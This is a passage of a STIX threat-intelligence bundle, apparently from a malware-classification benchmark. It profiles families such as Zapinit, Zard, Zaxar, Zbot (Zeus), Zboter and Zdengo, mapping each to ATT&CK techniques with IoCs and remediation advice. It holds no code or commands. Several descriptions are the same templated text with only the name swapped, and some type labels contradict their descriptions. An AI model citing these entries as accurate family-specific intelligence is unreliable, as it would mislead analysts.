      "description": "Trojan:Win32/Zapinit is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zapinit</b><br>To an end-user, a Zapinit infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zapinit is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zapinit is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zapinit frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zapinit reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zapinit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zapinit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--724592f1-e440-5ef7-a2a1-65120f37f6dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3553237d-a1b3-5323-b44a-acff6dc41f36",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zapinit exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e03029b-c4b6-5101-b267-df21195637d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3553237d-a1b3-5323-b44a-acff6dc41f36",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zapinit exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e25a71d3-fdbe-5f08-ad0c-b7fb1fc671bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3553237d-a1b3-5323-b44a-acff6dc41f36",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zapinit exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea4da072-6888-53d5-b440-719a44c71565",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3553237d-a1b3-5323-b44a-acff6dc41f36",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zapinit exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7708eca9-bfe7-56a2-b49f-ddb81ec28013",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3553237d-a1b3-5323-b44a-acff6dc41f36",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zapinit exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0e9e999c-94fd-5361-a297-ab5e6bd3137b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zard",
      "description": "Trojan:Win32/Zard is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zard</b><br>To an end-user, a Zard infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zard is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zard is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zard frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zard reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zard",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zard"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--267d1f17-b3e7-5bb9-9535-467933a4b939",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e9e999c-94fd-5361-a297-ab5e6bd3137b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zard exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae3c9cf7-ea82-5d4c-ac88-d7087b637336",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e9e999c-94fd-5361-a297-ab5e6bd3137b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zard exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4c4c00c-aae8-5332-8a04-e71c58bf5bfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e9e999c-94fd-5361-a297-ab5e6bd3137b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zard exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42142cab-9e47-5aa0-af2e-668bfe5dc911",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e9e999c-94fd-5361-a297-ab5e6bd3137b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zard exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a5169e9-ba6a-5443-8821-568eccd1de08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e9e999c-94fd-5361-a297-ab5e6bd3137b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zard exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4ae1307e-6a91-5d17-bb92-61eade2c2ce4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zaxar",
      "description": "<h3>Executive Summary</h3>\nZaxar is a highly sophisticated Trojan and Botnet component that poses a severe threat to enterprise networks. While it functions as a downloader, it is specifically engineered to establish deep, persistent backdoors, recruit the infected host into a resilient botnet architecture, and act as a primary delivery mechanism for secondary, high-impact payloads such as banking trojans and enterprise ransomware.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZaxar typically infiltrates networks via highly targeted spear-phishing campaigns utilizing malicious macro-enabled documents, or it is dropped silently via exploit kits that compromise vulnerable web browsers.\n\nOnce active, Zaxar employs advanced techniques for evasion and control:\n<ul>\n<li><strong>Process Injection and Hooking:</strong> Zaxar heavily utilizes Process Hollowing and API hooking. It decrypts its payload in memory and injects it into legitimate Windows processes (like `explorer.exe` or `svchost.exe`). This allows it to evade file-based AV detection and bypass local firewalls.</li>\n<li><strong>Resilient C2 Communication (DGA):</strong> To prevent defenders from simply blocking its Command and Control servers, Zaxar frequently employs Domain Generation Algorithms (DGA). It generates thousands of potential C2 domain names daily, making it extremely difficult to sever its connection to the botmaster.</li>\n<li><strong>Modular Payload Delivery:</strong> The Zaxar backdoor is highly modular. The botmaster can dynamically push down specific plugins to the infected endpoint based on its value (e.g., pushing an info-stealer if the machine belongs to the finance department, or a ransomware payload if the machine is a server).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zaxar infection is a critical security breach indicating a complete loss of endpoint integrity. The presence of this botnet client means the machine is under the active control of a sophisticated threat group, and the deployment of a catastrophic secondary payload (like ransomware) is imminent.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Instantly sever the network connection of the infected machine to halt the C2 beaconing and prevent the download of the secondary payload.</li>\n<li><strong>Memory Forensics and Telemetry:</strong> Because Zaxar operates primarily in memory, traditional file scanning is insufficient. Use EDR telemetry and memory forensics to trace the injected processes and identify all anomalous network connections.</li>\n<li><strong>Mandatory Re-imaging and Credential Reset:</strong> The system must be wiped to bare metal and rebuilt from a clean image. All credentials utilized on or by the infected machine must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Botnet.Zaxar",
        "Trojan.Zaxar",
        "Backdoor.Win32.Zaxar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zaxar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zaxar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09d6f8cd-262f-5d80-bcbb-89a87d7e12d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ae1307e-6a91-5d17-bb92-61eade2c2ce4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zaxar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae420bc5-9f10-5975-b56b-ad958f8f896f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ae1307e-6a91-5d17-bb92-61eade2c2ce4",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zaxar exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b59bc4d-af50-5136-846b-ce1ca60aad73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ae1307e-6a91-5d17-bb92-61eade2c2ce4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zaxar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--644ad1b9-e707-5455-81c6-4b92a5ad3a56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zbiw",
      "description": "Trojan:Win32/Zbiw is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zbiw</b><br>To an end-user, a Zbiw infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zbiw is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zbiw is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zbiw frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zbiw reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zbiw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zbiw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff4485bc-80a3-5703-8fab-d54486a687ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--644ad1b9-e707-5455-81c6-4b92a5ad3a56",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zbiw exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edffbfbd-1307-5311-befc-cdb83379eaf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--644ad1b9-e707-5455-81c6-4b92a5ad3a56",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zbiw exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c07d143-4d3e-5888-913f-a87dce137837",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--644ad1b9-e707-5455-81c6-4b92a5ad3a56",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zbiw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c1cdae8-4e78-5b65-b8be-58eca6f1e35e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--644ad1b9-e707-5455-81c6-4b92a5ad3a56",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zbiw exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c96965bd-efe2-55da-a403-d28dbc3690f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--644ad1b9-e707-5455-81c6-4b92a5ad3a56",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zbiw exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a1212cda-b9a4-5ef5-a0a1-62e20b22d36f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zbot",
      "description": "Zbot (universally known as Zeus, and documented under variants such as Zeus Panda, GameOver Zeus, and Wsnpoem) is arguably the most influential banking trojan and crimeware toolkit in cybersecurity history. Originally authored in 2006 by Russian threat actor 'Slavik' (Evgeniy Mikhailovich Bogachev, operative head of the 'Business Club' syndicate), Zeus established the architectural paradigm for modern credential theft, automated banking diversion, and decentralized botnet operations. The malware executes via stealthy injection into critical Windows processes (winlogon.exe, svchost.exe, explorer.exe) and hooks low-level WinINet and NSS socket libraries. Through this Man-in-the-Browser (MitB, T1185) mechanism, Zeus captures plaintext banking credentials, account numbers, and personal identifiers before transmission and browser-side TLS/SSL encryption. Zeus pioneered dynamic HTML web-injections and Automated Transfer Systems (ATS), which secretly modify account balances in the victim's browser while surreptitiously redirecting wire funds to money-mule bank accounts in real time. In 2011, the complete Zeus source code was leaked online, sparking a massive proliferation of derivative banking malware, including Citadel, Ramnit, SpyEye, KINS, and Panda Banker. Following the leak, Bogachev developed 'GameOver Zeus' (GOZ), replacing the centralized HTTP C2 architecture with an advanced, resilient peer-to-peer (P2P) network with cryptographic domain generation algorithms (DGAs). GameOver Zeus infected over one million endpoints worldwide and served as the primary distribution channel for CryptoLocker, the first major global crypto-ransomware epidemic. In June 2014, an international law enforcement coalition dismantled the GOZ infrastructure under Operation Tovar, leading to CISA Alert AA14-150A and the FBI placing Bogachev on its Cyber Most Wanted list. (Observed samples in benchmark: 24,075)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Zeus",
        "Zbot",
        "GameOver Zeus",
        "Zeus Panda",
        "Wsnpoem",
        "Trojan-Spy.Win32.Zbot",
        "Win32/Zbot",
        "Trojan:Win32/Zbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zbot"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA14-150A"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ec3b68b5-5078-575b-8570-230f9c7750ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zboter",
      "description": "Trojan:Win32/Zboter is a generic heuristic detection typically associated with the downloader or initial staging components of the infamous ZeuS (Zbot) banking trojan family, or modern malware that heavily borrows its source code and operational techniques.<br><br><b>Understanding Zboter</b><br>To an end-user, a Zboter infection is completely invisible; there are no pop-ups or signs of infection. For a threat intelligence analyst, Zboter is a critical, high-severity alert. It functions as the 'Initial Access Broker' or dropper specifically tasked with securely pulling down the main banking trojan payload. If Zboter executes successfully, the endpoint must be assumed to be fully compromised by a top-tier financial threat capable of Man-in-the-Browser (MitB) attacks.<br><br><b>Execution and Evasion Strategies</b><br>Zboter is almost exclusively distributed via massive, highly targeted spearphishing campaigns (often using weaponized Office documents with malicious macros) (`T1566.001`). Upon execution, the obfuscated macro (`T1027`) spawns PowerShell or WScript to download the Zboter executable. Zboter then utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%AppData%` directory and establishes persistence by modifying the Registry Run keys (`T1547.001`). Finally, it injects its downloading routine into a legitimate system process (like `explorer.exe` or `svchost.exe`) (`T1055`) to mask its outbound network traffic as it reaches out to the C2 server to pull down the final banking payload (`T1105`).<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' originating from temporary directories or Office applications. Network logs will reveal Zboter reaching out to compromised domains (often utilizing fast-flux DNS or Domain Generation Algorithms - DGA) to download secondary payloads. The presence of unexpected, hidden registry run keys executing randomly named binaries is a strong IoC. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zboter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zboter"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f8510e3-0ad5-5be8-888f-9624e27c2d8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec3b68b5-5078-575b-8570-230f9c7750ef",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zboter exhibits technique T1105 (Ingress Tool Transfer (Downloading the main ZeuS payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed68d021-ae8f-5247-959c-eac5550f4814",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec3b68b5-5078-575b-8570-230f9c7750ef",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zboter exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce4bc667-da58-5721-a38b-020856ddee66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec3b68b5-5078-575b-8570-230f9c7750ef",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zboter exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18411d15-7e6f-5b3a-a4b1-cb9d3a8c5a64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec3b68b5-5078-575b-8570-230f9c7750ef",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zboter exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ee4b0e7-b0b0-5104-92a9-17f56c528b7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec3b68b5-5078-575b-8570-230f9c7750ef",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zboter exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9f3edf69-936a-5b4e-96ee-a3a07b2c8a42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zdengo",
      "description": "Zdengo (frequently classified by security solutions as Adware.Zdengo, Trojan:Win32/Zdengo, Zdengo.A, and PUA:Win32/Zdengo) is a persistent adware installer, click-fraud bot, and potentially unwanted program targeting Windows systems. Distributed via deceptive download managers, repackaged open-source software, and malicious software cracks, Zdengo hooks into system network communications and installed web browsers. Once installed, it forcefully generates unsolicited intrusive pop-up advertisements, redirects web search queries to affiliate marketing hubs, injects promotional banner ads into benign websites, and generates automated fraudulent ad impressions. Zdengo establishes persistence by writing autostart entries into the Windows Registry and creating recurring scheduled tasks. (Observed samples in benchmark: 333)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Zdengo",
        "Trojan:Win32/Zdengo",
        "Zdengo.A",
        "Win32/Zdengo",
        "PUA:Win32/Zdengo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zdengo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zdengo"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b838072-02e5-5148-9022-6d4dc153afcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f3edf69-936a-5b4e-96ee-a3a07b2c8a42",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zdengo exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9ac197a-c856-58ec-8799-cbf308c8e1aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f3edf69-936a-5b4e-96ee-a3a07b2c8a42",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zdengo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1118568e-dd7c-5b28-a21f-cf1b1643db55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9f3edf69-936a-5b4e-96ee-a3a07b2c8a42",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
